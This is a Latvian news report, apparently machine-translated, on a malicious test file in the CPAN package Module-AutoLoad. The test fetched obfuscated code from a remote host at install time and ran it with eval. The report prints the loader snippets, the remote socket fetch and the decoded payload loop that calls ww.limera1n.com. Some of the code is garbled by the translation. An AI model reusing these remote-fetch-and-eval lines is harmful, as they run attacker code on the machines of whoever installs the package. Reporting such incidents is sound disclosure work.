Module-AutoLoad Perl pakotnē konstatēts ļaunprātīgs kods

Perl pakotnē, kas izplatīta caur CPAN direktoriju Modulis-AutoLoad, kas paredzēts CPAN moduļu automātiskai ielādei lidojuma laikā, identificēts ļaunprātīgs kods. Ļaunprātīgais ieliktnis bija atrasts testa kodā 05_rcx.t, kas tiek piegādāts kopš 2011. gada.
Jāatzīmē, ka jautājumi par apšaubāma koda ielādi radās Stackoverflow vēl 2016. gadā.

Ļaunprātīga darbība izpaužas kā mēģinājums lejupielādēt un izpildīt kodu no trešās puses servera (http://r.cx:1/) testēšanas komplekta izpildes laikā, kas palaista moduļa instalēšanas laikā. Tiek pieņemts, ka sākotnēji no ārējā servera lejupielādētais kods nebija ļaunprātīgs, taču tagad pieprasījums tiek novirzīts uz domēnu ww.limera1n.com, kas nodrošina izpildei savu koda daļu.

Lai organizētu lejupielādi failā 05_rcx.t Tiek izmantots šāds kods:

mans $prog = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
my $try = `$^X $prog`;

Norādītais kods izraisa skripta izpildi ../contrib/RCX.pl, kuras saturs ir samazināts līdz rindai:

izmantojiet lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Šis skripts tiek ielādēts apjucis izmantojot pakalpojumu perlobfuscator.com kodu no ārējā resursdatora r.cx (rakstzīmju kodi 82.46.99.88 atbilst tekstam "R.cX") un izpilda to eval blokā.

$ perl -MIO::Socket -e'$b=jauns IO::Socket::INET 82.46.99.88.":1″; drukāt <$b>;'
eval unpack u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Pēc izpakošanas galu galā tiek izpildīts: kods:

print{$b=new IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor return warn$@while$b;1

Tagad problemātiskā pakotne ir izņemta no krātuves. PAUSE (Perl Authors Upload Server), un moduļa autora konts ir bloķēts. Šajā gadījumā modulis joprojām paliek pieejams MetaCPAN arhīvā, un to var tieši instalēt no MetaCPAN, izmantojot dažas utilītas, piemēram, cpanminus. Tiek atzīmētska paka netika plaši izplatīta.

Interesanti apspriest savienots un moduļa autors, kurš noliedza informāciju, ka pēc viņa vietnes “r.cx” uzlaušanas tika ievietots ļaunprātīgs kods, un paskaidroja, ka viņš vienkārši izklaidējās, un izmantoja vietni perlobfuscator.com nevis lai kaut ko slēptu, bet gan lai samazinātu izmēru. kodu un vienkāršojot tā kopēšanu, izmantojot starpliktuvi. Funkcijas nosaukuma “botstrap” izvēle ir izskaidrojama ar to, ka šis vārds “izklausās pēc bot un ir īsāks par bootstrap”. Moduļa autors arī apliecināja, ka identificētās manipulācijas neveic ļaunprātīgas darbības, bet tikai demonstrē koda ielādi un izpildi, izmantojot TCP.

Avots: opennet.ru

Pievieno komentāru